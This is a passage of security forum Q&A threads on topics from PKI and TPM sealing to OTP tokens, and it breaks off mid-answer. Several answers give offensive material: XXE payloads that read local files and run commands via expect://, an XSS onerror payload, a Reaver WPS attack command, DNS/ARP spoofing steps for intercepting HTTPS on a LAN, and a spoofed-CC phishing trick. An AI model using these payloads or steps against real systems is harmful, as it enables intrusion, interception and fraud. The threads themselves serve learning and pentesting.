2nd question: Is there an option that desktop will include in his certificate whole it's chain (TA, CA_MID, CA_INT2) so that a laptop can verify that they both belong to the same trust anchor so I don't have to import CA_INT2 to the laptops store?

3rd question: Is it possible to have communication between laptop and desktop when laptop has imported all the CAs (TA, CA_MID, CA_INT1, CA_INT2) and the desktop has only it's chain (TA, CA_MID and CA_INT2) imported? In this case I believe the communication can be only one way, am I right?

Thank you very much.

1st question: In order to communicate with a desktop, should I also import the CA_INT2 to my laptops Trust Store?

not to Trust Store, but to a store where certificate chaining engine will search for missing intermediate certificates. Trust Store is supposed to store trust anchors (which are usually a self-signed certificates. In your case it is TA). This step may not be necessary if CA_INT2 provides information about its own certificate location in Authority Information Acess (AIA) extension. In this case, laptop will be able to fetch CA_INT2 certificate from presented desktop's certificate. It is a common and good practice to include AIA extension in all certificates to make it easier to obtain missing intermediate CA certificates.

  2nd question: Is there an option that desktop will include in his certificate whole it's chain (TA, CA_MID, CA_INT2) so that a laptop can verify that they both belong to the same trust anchor so I don't have to import CA_INT2 to the laptops store?

as was stated in the first answer, intermediate CA certificate can be obtained dynamically. However, in regards to this question: it depends. Depending on a communication protocol, server may send entire chain (except for root certificate) or leaf certificate only and you can't change this behavior. For example, when using HTTP over SSL/TLS, leaf and all intermediate certificates are sent to client. When using RDP over SSL/TLS, or using SSTP VPN, only leaf certificate is sent to client.

  3rd question: Is it possible to have communication between laptop and desktop when laptop has imported all the CAs (TA, CA_MID, CA_INT1, CA_INT2) and the desktop has only it's chain (TA, CA_MID and CA_INT2) imported? In this case I believe the communication can be only one way, am I right?

again, if intermediate certificates can be obtained dynamically (via AIA extension, underlying protocol or other available means), then everything will be ok.


tpm sealing and secure boot I have worked with TPM for a while, and I'm interested in some of its features. Especially sealing and the use of TPM's PCRs in the secure boot process.

My question is: What is stopping an attacker from disabling the TPM until after boot? Then extending the PCRs with whatever he wants, and even recording the input to the extend function of PRC in the authentic boot chain.  Then use this as an input in order to get the same SHA1 digest in the PCRs?

Another question is whether an attacker can try using the TPM on another system which will also send fake inputs to the PCRs at boot time?

Quite a few specific questions here, I'll break it down

  What is stopping an attacker from disabling the TPM until after boot?

Nothing if the attacker controls both the FW (UEFI, BIOS, etc) and the boot code.  I say the boot code because at some point near the end of the boot, the TPM would need to be initialized and put in the right run-level so the OS doesn't detect anything out of place.  You can't just turn it off, because user/OS applications expect it to be in a certain state and that would blow your cover, if you are the hacker >:)

You have to trust your UEFI/BIOS.  Did you accidently flash some hacker sh*t to your motherboard?  That's the only way this would work.  Don't do that.

  Then extending the PCRs with whatever he wants

Because of how PCRs work, this is "impossible".  You cannot update PCR's to arbitrary values, you have to hash things in the exact same order each time -> impossible to crack.

But you already know this, though, you mentioned the "extend" operation yourself. PCRs are not "written", they are "extended". For some good info on that, see here on http://opensecuritytraining.info/.  A quote from that presentation:

Digging a Little Deeper: PCR Extend
....
Computationally infeasible to forge (must break SHA-1)
    Given PCR state N and desired state M, adversary would need to find
    X such that hash(X,N)=M; violates one-way assumption

  and even recording the input to the extend function of PRC in the authentic boot chain

That's pretty darn smart, but how would this be done?  Physical probes on the bus?  Totally possible!!  But now we've gone beyond the TCG TPM specification, which specifically does not protect against physical tampering, AFAIK.  It does provide physical tampering evidence but does not protect against someone taking a trace on the pins.

  an attacker can try using the TPM on another system which will also send fake inputs to the PCRs at boot time?

Can you elaborate on how this would work?  But no, you couldn't remotely use another TPM without software to expose it to a service.  Doable in the OS, but if you could forge PCRs on the remote machine you can forge them here.

Again, you can't just put "fake inputs" into the PCRs, it doesn't work like that.


Does the padlock on my browser really indicate a reasonable assurance against eavesdropping? I know that there have been broken or weak SSL implementations. Do browsers actually have decent standards for what they'll accept and display "the padlock"?

Furthermore, are there any practical attacks from an eavesdropper perspective against a fully modern SSL connection?

Should the padlock make me feel warm and fuzzy?

Browsers use the padlock to show that they use SSL. If:

your browser is recent enough;
you did not play with the security settings;
the browser did not display a Scary Warning (not always red, but definitely scary);
nobody installed on the machine some funky software (including software from your specific organization, which could install a custom trusted certification authority);

Then yes, the padlock gives reasonable assurance that you are really talking with the server you expect (not really the one you think of, rather the one with the name in the URL) and nobody spying on the line may see what you are exchanging with the server. The assurances are up to the competence of the 80+ certificate authorities which your browser or operating system trusts by default. Strangely enough, big mishaps on the CA side seem to occur only rarely, about once per year on average (in the whole world !).

Of course, if your browser is not recent then it has serious vulnerabilities and your machine is as good as hacked. If you played with security settings then you may have enabled cipher suites with little or no security. If your browser displayed a big warning and you ignored it, then you are on your own. If hostile software is running on your machine then it no longer is your machine.

And SSL only protects the transport medium. The server on the other side is free to goof up in arbitrary ways. When credit card numbers are stolen, they are not eavesdropped on the line; they are plundered directly from the server's database. The padlock says nothing about robust and secured the server is.


How do I redirect HTTPS site to another HTTPS site over LAN using a linux? Is there a tool, or a command for linux that can make possible to redirect HTTPS site to another HTTPS site on LAN? i'm using Kali Linux, and all the tools and commands that i found was to redirect HTTP to a local hosted website IP.
I want to make this:
https://www.google.com > https://myblog.com
not this:
http://exampledomain.com > http://192.168.16

This is possible with a proxy server (either configured on the client, or an invisible proxy with a MitM positon), or with spoofed DNS. However, in both cases you'll either need a certificate for the target site (such as "google.com" in your example) that is trusted by the client, or you'll need your users to click past a scary browser security warning (and for some sites - those using HSTS or HPKP, including Google - most browsers will refuse to allow the user to click past).
Authenticating the host (server) that you connect to is one of the core features of TLS, the protocol that secures HTTPS. If a client requests foo.com, they won't accept a response - not even just a redirect - from anybody who can't prove themselves to be foo.com. That proof is done using x.509 digital certificates, which are issued by trusted agencies (who verify the identity of the recipient) and cryptographically signed to prevent tampering or spoofing the issuer.

Assuming you either have a cert that will be trusted, or that the security warning is acceptable, there are options.

If you control the router connecting the computers, you can intercept and modify packets. This makes it easy to change the DNS requests from the client to point at your own IP address, which runs a HTTPS server with the certificate. DNS spoofing is possible with several included tools in Kali, although the exact situation will determine which tool is best. One such tool is Ettercap.
Another alternative is to ignore the DNS requests, but invisibly route requests that are outbound to the target server (on TCP 443, the port used for HTTPS) to your own web server running locally. This can be done using iptables rules.
If you don't control the router but are on the same LAN, you can use ARP (Address Routing Protocol) spoofing to make the other machines on the network think that you're the router, so they send their outbound packets to you. You then are, effectively, the router and can use the above attacks. You can use arpspoof for this (and then Ettercap or whatever).


Does the file encryption of Microsoft Office guarantee integrity? I stumbled upon Microsoft Office's feature of file encryption.
For storing sensitive data in the cloud, e.g. DropBox, this sounds like a nice feature. Reading that the encryption is AES-128 in CBC mode by default, it seems to provide a decent level of confidentiality, even though are still some open details.

Of course usual symmetric encryption does not provide integrity, but as I know Microsoft I wouldn't be too surprised to learn that they actually also meant some kind of integrity protection by naming it encryption. However, this lead me to the following question I wasn't able to find an answer to.

Does the encryption of Microsoft Office guarantee integrity of the saved data?

PS: I already read this question, but it is only concerned with confidentiality.

Based on the latest MS Office spec, "agile encryption" uses a SHA1-based HMAC for message authentication:

https://interoperability.blob.core.windows.net/files/MS-OFFCRYPTO/[MS-OFFCRYPTO].pdf

Office 2016 appears to use agile encryption by default:

https://docs.microsoft.com/en-us/DeployOffice/security/cryptography-and-encryption-in-office


Reaver stuck at flow_handler I tried to run Reaver against my router at home using an Ubuntu 15.10 laptop. The command used was: sudo reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv -c 7 -a (the channel I got from airodump-ng).

I'm aware, that a brute force will take some time, but as far as I know, Reaver should output the attempted pins. That doesn't happen for me. On the bottom line is written flow_handler and I think, it's stuck there.

Does this mean the AP is immune against Reaver (it has WPS enabled)? Or is the problem on my side (which I guess)? If so, what can I do to fix this?

There's much to be done before you can get a correct answer for this situation.

First, and most simple solution, you can check your AP manufacture website to be sure if it's immune to WPS PIN attacks.
Second, try to use another wireless card, and most important, don't use your laptop WiFi card if your running Ubuntu through a virtual machine.
Also, try to use another tool, or another version of Reaver.
Also try the same tool on another AP which you already know it's vulnerable to WPS attacks.

If you had further results, it might help us.


Client authentication vs. user authentication I am currently looking into authentication protocols which work well with REST API, in java.
There is something fundamental I don't understand: I read a lot of material about OAuth protocol, SSL, basic HTTP auth, digest etc.. And in all of them there are apparently different meanings of the term "client". In most, from my understanding, this term means web application, or the browser. But in some, for instance basic HTTP authentication, this term refers to the user himself.

I don't understand exactly how can an instance of a web application can be, or needs to be, authenticated.
I know there are certificates involved in the process, but as I see it, they just take care of securely transferring the message to the server, and prevent replay and MITM attacks. In OAuth, there needs to be a token in the cert, after a username+password exchange, but since the username and password belong the user himself, as I understand it, where is the part that authenticates the client?

There are some protocols that use private and public keys in the server side as well as in the client side, which actually makes sure the client is "who it says it is". But do these keys have to be applied to every instance of this web app? I'm confused.

In which cases, anyway, will we need client authentication? Isn't it enough to authenticate the user and take care of message integrity?

The client is a network concept: the data is transported between two machines, the server and the client. The client is the one who initiates the conversation; the server is the one who is sitting all day, waiting for clients to connect.

The user is the biological entity (presumed human) who controls the client. Authentication is about the server making sure that whatever it receives originates from a specific user. However, the server is not talking to the user (the human being) but to the client (the user's computer). When a server authenticates the user by way of a stored HTTP cookie, it is really authenticating the client: since the cookie value was previously sent to a specific client, only that client may show the exact cookie value. The server then assumes that a given client is under exclusive control of its purported human owner, and then feels content that the human user has been involved.

The distinction between client and user becomes apparent when the user's machine is subverted (e.g. infected by malware). The machine will begin to do things outside of the control of the human user.

To make an analogy, if you have a dog and that dog bites me, then I will sue you, not the dog, because the dog is supposed to be under your control. Even if the dog contracts rabies (explaining its vindicative behaviour), it is still your responsibility. In that sense, authenticating the dog is as good as authenticating you (in the eyes of my lawyers, at least) and it is up to you to make sure that your dog is really under your exclusive control.

With Web applications and "API", the picture can become more complex, because the server can also behave as a client with regards to another server. That secondary server may want to make sure of the identity of either the first server, or the human user who initiated the whole process, or both. The terminology can be source of confusion if the same terms are reused.

When using public/private key pairs, the private key owner (the machine which contains the private key) uses it to perform some computation which links to another computation which involves the public key. For instance, with digital signatures, the private key owner generates a signature over a given message (a sequence of bytes); the signature can be verified by using the public key. Digital signatures are a good tool for authentication: by computing a signature on a challenge sent by a verifier, the private key owner demonstrates to that verifier its mastery of the private key. The verifier thus obtains a guarantee that it is really talking to "whoever controls the private key corresponding to a given public key". The interesting part of the process is that the verifier needs not know the private key for that, so it is possible to verify a signature without having the power to generate signatures.


could dynamic object instantiation + arbitrary cast in java could lead to an RCE? I was pentesting for a bug bounty program, I can't say more because it has been corrected but undisclosed. I still wonder though, did the reporter get an RCE ?

A webservice waited for XML, I first tried to XXE, mess with business logic, nothing juicy there. Then an attribute caught my attention, unused in anything burp had been able to capture, I found it in the JavaScript.

<blaa fieldtype="java.lang.ProcessBuilder"/>

lead to that error (blaa being initially a string)

could not convert java.lang.ProcessBuilder into java.lang.string

I tried

<blaa fieldtype="java.lang.ProcessBuilder"><command>bla</command></blaa>

same error.
However:

<blaa fieldtype="java.lang.ProcessBuilder"><foo><foo></blaa>

gave

unknown field java.lang.ProcessBuilder.foo

So at this point, I'm able to instantiate any arbitrary object, set any public property, and order cast from anything to anything, I fuzzed for hours and found no way to call a method. Is there an RCE here? Or did they correct from a report saying "User input should not be used dynamically in code"?

The answer will greatly depend on what is in the classpath. However, I cannot see in you XML snippet where you would pass the command to execute in your example.

So without knowing more about the environment it is impossible to answer your question. However, it would be beneficial for you to check out some java deserialization gadgets.

If you haven't heard about java deserialiaztion vulnerability I recommend this and this.


What is the best way to authenticate active directory users who wanna connect to Ubiquiti or Meraki's WiFi hotspots? I know .1x is the protocol that actually does the job, does radius have to be involved in this process, .1x is only work with radius(AKA NPS on a server side windows)?

802.1X authentication has three parties: a supplicant, an authenticator, and an authentication server. The RADIUS (or its proposed successor Diameter) is used for the communication between an authenticator (e.g. a WiFi AP) and the authentication server. In this case, you are using Active Directory as the backend authentication server, and you need RADIUS for that. The AP (or the controller for your WiFi network) could also have an internal database and perform the authentication against it, but that's never the case with the Active Directory.

While some authentication methods available might also use e.g. LAPD queries for authentication directly against the Active Directory server, RADIUS has its advantages. One is the possibility to authenticate AD computer accounts instead of AD user accounts: This authentication doesn't involve saving passwords to the wireless network settings, and enables you to only allow Active Directory joined computers to access the network. With user based authentication you either allow practically all BYOD devices, or you are required to manually update a whitelist of allowed devices. With the help of Group Policy you can make all company computers connect to the correct WiFi network without any user actions at all. That profile can be forced to trust only certificates authenticated by a certain CA. This makes RADIUS the most advanced way to authenticate against the Active Directory.


What threats does a stateless web application have?  (as opposed to a  "state-full" sessions) I'm comparing the pros and cons between having an authenticated "stateless" ASP.NET MVC session versus a ASP.NET Forms application with viewstate.
Assuming that there is a webfarm of more than 1 web server behind a load balancer:

What threats would a stateless application have that a traditional "state aware" application don't have?

If there is a difference, what are the risks?

What should I do to my stateless MVC application to maintain comparable security?  (I'm thinking about the options in a NetScaler with regard to session affinity)

Certain DOS attacks become feasible with a smaller number of misbehaving clients when it is unpredictable which real machine will service a particular request.

Send a series of messages which cause the receiving shards to fetch data into memory paging out most of anything else that is resident.
Switch to send a series of messages which cause the receiving shards to fetch a different set of data into memory paging out whatever was fetched by 1.
Repeat.

When allocation of messages to shards is random or mostly random, that randomness can be exploited to DOS a group of machines by a smaller number of attackers if an alternating set of messages can cause those shards to spend most of their time filling caches instead of handling requests.

With a stateful system that shards based on session ID, you need to be able to cheaply create sessions or have a large number of attackers that can each keep one expensive session.

Obviously, for certain applications it may be possible to define a stateless system that doesn't swap to disk.


Credential encryption scenarios using certificates Situation:

We have several service accounts (AD) that need to use a limited set of credentials.
These service accounts run scripts (PowerShell & Python), etc on different servers, requiring these credentials. These servers all run different versions of Windows Server (2012 - 2016)

Currently the credentials are stored clear text, which is gaping security hole that needs to be fixed.

As we are a Microsoft shop, I initially wanted to opt for DPAPI, but this becomes unwieldy when multiple servers and accounts are used (as you have to store each credential in each combination of vault/server).

The second option was to store the credentials encrypted, on a SMB file share, with NTFS security to limit the accessibility to only the service accounts. The credentials would be encrypted with a certificate, which would be stored in the LocalMachine certificate store of each server. To access a specific credential, the service account would decrypt the file using the certificate.

This seemed like an OK approach:

Servers only need to be provisioned with the same certificate (public key is sufficient).
Only administrators can access the LocalMachine Certificate Store
The credentials are encrypted and stored in a share secured by NTFS permissions.

I then came across a similar implementation as a PowerShell module: PowerShell Credential Vault. The major difference, as far as I can see, is that it stores a randomly generated key, encrypts the credentials (password only) using this key, and then encrypts the key using the certificate. The credentials and the encrypted key are stored together in an XML file.

Is there any advantage over just using the certificate to encrypt the credentials?

Your approach seems sensible from the point of view that a given server will be able to pull a file (presuming each file has only one password), decrypt it and extract a password. Knowing that other servers will be able to pull the same file but won't be able to decrypt it. And whoever holds the set of public keys will be able to decrypt the files if they can extract them.

There's caveats that you should be aware of however:

Trusting that only local admins can access the certificate is simplistic. For example if the file system can be read off a snapshot or by cloning a VM or in some other way outside of the environment of the running server, this information will be accessible and the code tasked with pulling the file and decrypting the password will be visible;
The way the actual password is handled on the server will dictate how much of it is left behind in memory or on the registry, etc. This would include decrypting the file [left in memory or on the file system], running the task that uses the password [password shown in cmd line and left in memory whilst and after the process terminates], closing/deleting the decrypted file [left behind on the file system], etc;
Passwords are also exposed at the time of encryption, where all the information is (very likely) available to obtain the password, decrypt the file and possibly extract all keys and decrypt all files to extract all passwords;

All these things, depending on how you implement the details of the system, could have a manageable risk. It's entirely up to you and your business to measure and assess what's acceptable.

Generally, unless you run a very careful audit of the code that implements the powershell module, I'd be wary of using it to handle sensitive data. The chances of it being broken or easily hackable will vary from very low to trivial, so until you know, I'd err on the side of caution and assume it is trivial.


Time tracking proof of identity Does anyone know any other way to determine who is logging into a system, tracking if worker is on the clock and physically there working? Time tracking is awful in the hourly service world, because a user can always have another user log in and out for them with a shared badges, a shared password, and generally only a fingerprint or some other bio object can determine that a worker is really that person doing the sign in or sign out, unless a manager micromanages the time tracking. Is there any defensible way to prove that a worker was physically there inexpensively without biometrics?

For a low cost, hacked up solution, I'd look at tracking something that someone would be loath to share with someone else or be without. For that, I'd look at their phones.

A simple WiFi access point that registers the MACs and IDs of devices on the network would work in your case, but it also has flaws. MACs and IDs can be modified, but it takes a little technical knowhow. You would also have to register/reregister the devices over time. Stores are starting to use this technique in order to track shoppers, so there is existing thought and technology surrounding this.

Other than that, you might have to look at the old-fashioned method: greet your workers.


Limiting latter dom-based XSS when setting document.title Given some JavaScript which modifies the page's title by taking in variable data

document.title = someVariable

I am looking to address dom based XSS while keeping the title fairly readable. Therefore, doing something like escape() or encodeURI() will not work.

I do not necessarily have control over how the document.title may be used in other scripts, so I want to ensure that I do some sanitization in the least destruction matter, but avoid possible scenarios where the way the variable is later processed could possibly be decoded in such a way it latter becomes XSS.

My first thoughts were something like this:

someVariable = someVariable.replace('<script', 'noscript');
someVariable = someVariable.replace(/[<>'"]/g, '').replace(/%3[CEce]/, '');
document.title = someVariable;

Which is minimally destructive from a readability standpoint, removing these characters could potentially break the later code, but I would rather break code in favor of security.

I feel like I am rolling my own here, so I would like to know if there is better approach that will meet the readability requirements. If not, are there any other filters or sanitization recommended?

If you need to take this approach then why not remove everything apart from alphanumerics and the space character? i.e. go for a whitelist rather than a blacklist. You do not know how standards in HTML and JavaScript may change in future so only allow the characters likely to be good instead of disallowing known bad.

  I do not necessarily have control over how the document.title may be used in other scripts, so I want to ensure that I do some sanitisation in the least destruction matter, but avoid possible scenarios where the way the variable is later processed could possibly be decoded in such a way it latter becomes XSS.

My question to you is who does have control? Of course the correct way to handle this is to correctly output encode when output to the page - I'm just wondering why this is not an acceptable solution for your system. If you cannot control other scripts, how do you know they are secure in other ways?

Replacing <script> does not stop scripts from being embedded. There are lots of other ways to inject script. e.g.

<img src="x" onerror="alert('xss')" />


Are there any potential security risks in connecting to a Murmur (Mumble) server? I've created a free server on a website, but I'm a bit cautious on connecting to it. Are there any potential security risks in connecting to a Murmur (Mumble) server?

Any time you exchange data with software you incur a security risk.  For example a client could potentially connect o a malicious server that exploits a buffer overflow in the protocol to obtain arbitrary remote code execution on the client.  If this is a concerns you find  murmur client that wasn't written in C/C++.  Managed languages,  like python, and java,  still suffer from very serious security defects but less than that of C/C++.


Is there any tool or method to detect spoofed CCs? One of our phishing scenarios during a pentest went like this: we send an email saying something along the lines of "As per the manager (CCd) please download the latest software included". Then we attach the manager as CCd in the headers but never actually send the CC email using our server, making it look like the manager is aware and approves, while the real manager has never actually received the email. However what we're finding an issue with is how do we actually fix this problem? Does a solution exist which checks the CCd users and whether they've actually received the emails? Is there any other way to detect this?

There is no way to detect this and there is no tool for this. You would need to actually check with the claimed recipient or at least with the log files of the mail server - the latter is not something a normal employee could do.

I think you need to adjust the processes instead, i.e. employees should not trust anything written in the body, any attachments, the subject or the Cc of the mails since these could all be arbitrary made up - similar to snail mail. From is a bit more reliable if DMARC together with DKIM/SPF is used but with only a bit of social tricks From can be made look trustable too even if DMARC is enabled.


XXE - possible to read directories? I have come across XXE on a CTF a while ago and I can't get my head around where to go from where I am.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>
  <content>&xxe;</content>
</root>

This will give me the source code for the single page that the site has. I can also grab /etc/passwd, not shadow though.

The source code of the page absolutely doesn't give anything away. No JS to speak of and the only PHP is below:

<?php
if (isset($_GET["xml"])) {
  libxml_disable_entity_loader (false);

  $document = new DOMDocument();
  $document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
  $parsed = simplexml_import_dom($document);

  echo $parsed->content;
}
?>

My question is whether there is some way to read the contents of a directory or move on from where I currently am?

For OWASP webgoat (java based CTF box), the following XML leads to listing of the /etc folder
<?xml version="1.0"?>
<!DOCTYPE comment[<!ENTITY xxe SYSTEM "file:///etc/" >]>
<comment><text>file:///etc/ &xxe;</text></comment>

SYSTEM "file:///" leads to listing of root folder
For PHP XML Parsers whereby expect module is loaded, SYSTEM "expect://id" for user id and SYSTEM "expect://ls" for listing folder can be used. Note that expect does not support spaces and some characters well


Store basic oAuth for a session on a website I am not sure if there is a good way to do this. Currently I have a website that users log into. In that website there is pages that have API calls to another service, this service uses:

  Authorization: BASIC username:password

Where the username and password are not the same as the ones used to log into site. Is there a way I could have it where they do a second login in my site (once they go to one of these pages) and then use this base64 auth string across multiple pages on my site securely?

I can't exactly store the username and password in a database, since it would just be plaintext. Currently I could have them submit the user/pass on every page that needs the API and just post it without storing it, but this is a MAJOR pain to do on every single request.

Is there a possibly way to store this for the duration of their login on my site securely?

Maybe you can try the sessionStorage API of the browser to store base64 auth string. Like in some banking websites, you can prompt the user to enter the auth string once they logged in, encrypt the string using the public key of your server and store it in sessionStorage. With each API call you can pass along this encrypted string and decrypt it at your server to perform whatever logic you want.

Once the user is logged out and the browser closed, the value stored in sessionStorage will be removed. Till then the value will be present in your browser storage.


How does a Safenet eToken Pass(hardware token) generates OTP and based on which algorithm? How does authentication takes place against it? I use hard token to login to a VPN but I don't get the concept behind it.The password is combination of a self generated PIN + OTP generated on eToekn Pass. How do authentication takes place at back end and what is criterion for OTP expiration?

Supposing the counterpart knows your PIN, and the initialization vector for your eToken, then all that it's needed is that the eToken has a clock.

Using some amplification scheme, possibly involving the IV again, the timestamp (usually with one minute resolution) is converted into a large enough buffer to undergo encryption inside the eToken. From that, a token is extracted and shown on the display.

When you send your username, PIN and eToken data, the server simply runs the same calculation using the IV it has in its database, and verifies that all the data match (optionally, the token values for one minute before and one minute after the present time may be tested, in order to correct small clock drifts).

--> username, PIN   -->      "user suraj has IV 12345 and it's now
                              june 10, 2016, at 17:12. Encrypting
                              this date with 12345 yields a number
                              whose last six digits are 488690."
--> token 488690    -->      "YES! You are logged in."

Using standard six-digit eTokens, and without access to the IV that was burned into the eToken memory, there is one chance in a million that an attacker is able to generate a valid token, even if he did have your account login and PIN.

(Usually, also, these systems will lock after three or five attempts to enter an incorrect token).


Automating Metasploit attacks, is it possible to generate all (most) modules? I work on creating signatures for all metasploit modules. I need to stimulate pretty much all the attacks (exploits) in metasploit without actually targeting a real victim (I don't think autopwn can help here).

Most of the modules in metasploit verifies that there's a victim on the other side, is there a way to bypass it? API? it's impossible to create a vulnerable machine for all the metasploit modules.

Your help will be appreciated.

VM's are certainly a good option, there's plenty of out of the box vunerable systems you can fire up (e.g. Metasploitable). That combined with a TCPdump of the traffic should yield most of the information you need.

That being said, you may have more luck creating signatures for the Metasploit Payloads. There are fewer of them, they change less frequently and you can be sure that if you detect it, that's traffic you want to identify or block. Will also work when new exploits are added to Metasploit which is very often.

Metasploit does include some abilities for beating signature-based detection so that's something you need to take into account as well.


Can my phone be located (e.g. by emergency personnel) when I use a VPN? I have actually been learning on my own just by reading about VPN and how to protect myself from Big Brother so to speak. I just happened to discover that if I turn off my location option on my cell phone I would save a lot of energy and not have to plug it in so often and at the same time I realize that the GPS function would be defunct if I making the right connection there. However an interesting little pop-up always says that emergency personnel will never be able 2 b blocked by turning off my location option... In effect they can always find you. I find that disturbing since emergency Personnel is very general term and big brother and this country is getting more and more intrusive since 9/11. To my knowledge the only way to completely block GPS tracking through your IP address is to turn off the phone, if I am understanding things correctly. I only came to this understanding when I lost my phone and was unable to track it because it had died and therefore there is no way to find it through the app that was installed specifically to find a lost phone LOL.

My question is that I am considering testing in a VPN but before I do I want to make sure that I am understanding correctly that without IP address that is correctly pinpointing you to a location which is what a VPN service does, then emergency location would be defunct without having to actually turn off your phone?

I just find it really disturbing that they can always track you on your phone even with your location option turned off and since I'm new to this I just wanted to make sure that I could use my phone safely through a vpn and the emergency locations / services ( I mean how general is that term? They do not specify if it is a nine-one-one call or if it's just any government agency that wants to say they are operating under the emergency Services clause) would not be an option for Big Brother while I was using the VPN ie they would be clueless where I was.

Phones can be localized by various means:

GPS sensor
Wireless networks in range: Imagine you drive through a country and for every point on the map you store the wireless networks that you are receiving a signal from. Later when you try to locate yourself, you can query the map with the networks you are currently receiving and find out where on the map you are located. This is actually what google etc. do and how phones can also be approximately located even while being indoors.
Cellphone towers. Your provider always knows to which cellphone tower your phone is connected. This gives a (compared to GPS rough) estimate of your location since the provider knows where its own towers are located. With multiple towers and simple triangulation the estimate can be further improved. With whom the providers share this information I don't know.
Your IP address: There exist geolocation databases for ip addresses, that map an IP address to its most likely geographic position. When you are using VPN, your public IP address changes to that of the end point you are connecting to. In other words, if you login to a german network with VPN, web sites and other online services seeing only your IP address will believe you are located in germany.

The first three methods are completely unaffected by  the use of a VPN connection. And these methods are what the "emergency services" would most likely use to locate you. The fourth method basically helps your online anonymity, but that's about it. Your entry point to the network is still a cellphone tower, your GPS is still functional and your phone can still curate a list of nearby wireless networks, even though you are already connected to one.


Audio Recording of my Credit Card Info? If I call into a call center to order a product or service, and they take my credit card - do I have any assurance they are not recording the phone call "for quality purposes" which includes my credit card information?

In order to be PCI DSS compliant, they are expected to meet the requirements of Protecting Telephone-based Payment Card Data, a PCI Security Standards Council document.  It's complex, but generally requires that they limit recording of card details as much as possible, store them encrypted if they must be stored, and never store Sensitive Authentication Data (your CVV).  The document provides this direct guidance:

  What to Ask Your Call-Center Provider

  How does the call-center system help my company comply with the PCI DSS requirements, and how does it automatically remove sensitive
  credit card information from recorded calls?

  If you take credit card details over the phone, ask your supplier to
  prove that they are “PCI DSS compliant” and to explain how they remove
  sensitive authentication data from their recordings, automatically
  (with no manual intervention by your staff).

In practice, you can usually tell a compliant provider because they will briefly transfer you to enter your CVV to a program using the buttons on your phone, then transfer you back to continue speaking with the representative.  That's how they avoid recording your CVV.

To be clear, they're allowed to record your card number, so long as they protect it (encryption, generally).  No matter how you transmit your card number to a merchant - online, in person, on the phone, or via paper mail - they're allowed to store your card number.  And it is necessary for either them or their processor to store it for a significant period of time as part of the regular card process.


Return-to-libc attack with the argument read from registers (EDI/RDI) I've read that to make a successful return-to-libc attack, the attacker should store the address of the command (for example /bin/sh) in the stack exactly after the return address of the system function (for example). This way the system() function reads that address as its parameter and executes that command. But now after disassembling a program which calls system() I noticed that it doesn't use the stack to get the address of that string ("/bin/sh"). Instead the address is stored in the EDI or RDI registers. As long as the attacker can't access the registers how is it possible to perform such attack?

Here is a simple example:

int main(int argc,char **argv){
    system("id");
    return 0;
}

And the disassembled one:

push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    $0x4005dc,%edi     #Here the address of string is copied to EDI
callq  0x4003e0 <system@plt>
mov    $0x0,%eax
leaveq
retq

What you're looking at is a PLT, which is a way of doing late-bound library imports. The "calling convention" of PLTs isn't standard, but the toolchain usually uses register-based parameter passing for performance, which is why you're seeing edi as the address of the string. The call will go to a stub in the Global Offset Table (GOT) which then calls into the library function.

The answer is yes, you can exploit this with a ret2libc, but not a standard one. You'll need to use a ret-to-plt technique instead, which is described in this paper (PDF). The point is that you use ROP gadgets to massage the registers into containing the right values, which can then call into the PLT.


How to increase the time for an offline password attack I am trying to answer a CASP exam practice question.

Could someone comment on the options below regarding the logic behind each item? Where is the logical error behind each statement?

  A Storage-as-a-Service company implements both encryption at rest as
  well as encryption in transit of customers’ data. The security
  administrator is concerned with the overall security of the encrypted
  customer data stored by the company servers and wants the development
  team to implement a solution that will strengthen the customer’s
  encryption key.

  Which of the following, if implemented, will MOST increase the time an
  offline password attack against the customers’ data would take?

A.
key = NULL ; for (int i=0; i<5000; i++) { **key = sha(key + password)** }

B.
password = NULL ; for (int i=0; i<10000; i++) { password = sha256(key) }

C.
password = password + sha(password+salt) + aes256(password+salt)

D.
key = aes128(sha256(password), password))

source: various CASP exam cram question banks

This is what I know:

1) SHA-256 or higher generates really strong hashes with a very low collision probability. It's highly unlikely to produce a collision.

2) I read another article, but not conclusive regarding the JavaScript option:
 https://stackoverflow.com/questions/18279141/javascript-string-encryption-and-
 decryption

3) This one is much more articulated regarding options to improve the alternatives:
https://stackoverflow.com/questions/18338890/are-there-any-sha-256-javascript-implementations-that-are-generally-considered-t

4) I found this real example of the SHA256 encoding scheme and as well generating a salt to make it even more secure by defeating precomputed hash tables. We will then run it through password-checking to ensure the password was typed correctly:

// From Python: Penetration Testing for Developers

#!/usr/bin/python
import uuid
import hashlib

# Let's do the hashing. We create a salt and append it to the password once hashes.

def hash(password):
    salt = uuid.uuid4().hex
    return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt

# Let's confirm that worked as intended.

def check(hashed, p2):
    password, salt = hashed.split(':')
    return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest()

password = raw_input('Please enter a password: ')
hashed = hash(password)
print('The string to store in the db is: ' + hashed)
re = raw_input('Please re-enter your password: ')

# Let's ensure the passwords matched

if check(hashed, re):
    print('Password Match')
else:
    print('Password Mismatch')

I think that you are overthinking the question. You do not need to understand proper password handling to answer this. Work through each logic flow.

A: You recursively hash sha(key + password) 5000 times, so this increases the work someone has to do to crack it by 5000. Work = 5000

B: You just set password to the same value 10000 times, so it is equivalent to just password = sha256(key) which is a single hash function. Work = 1

C: The password is not hashed at all, it is left in plaintext with hashes appended to the end. This is obviously the worst possible answer. Work = 0

D: This is a single hash function with 2 steps, so it is a tiny bit better than B, but not really. Work = 1


Are There Any Standards for building pin code authorization? We're going to add a pin authorization feature to our website. So, I'm wondering a question, how to make it secure? As I understand, Apple/Windows after first user login link pincode to a specific device. I'm thinking about storing part of data to cookies (to link it to a physical device).
The question is: are there any standards for such authorization systems? Or any large websites which are using them?
What should be pin lifetime? How many times may they be used?

I think your boss may be misunderstanding the situation it a bit.  If a user is logging in a website using a web browser and convenience is a major factor to them, they will most likely have their browser/password safe save their username and password for them.  With this scenario, the user doesn't have to do anything but click a button in their browser.  All the PIN will do is make things more complicated for the user, annoy them, and will very likely make your system less secure (due to implementation flaws).

To answer your questions above:

The NIST is probably the best bet as far as standards go.  Since this
is basically a password, look for their password complexity
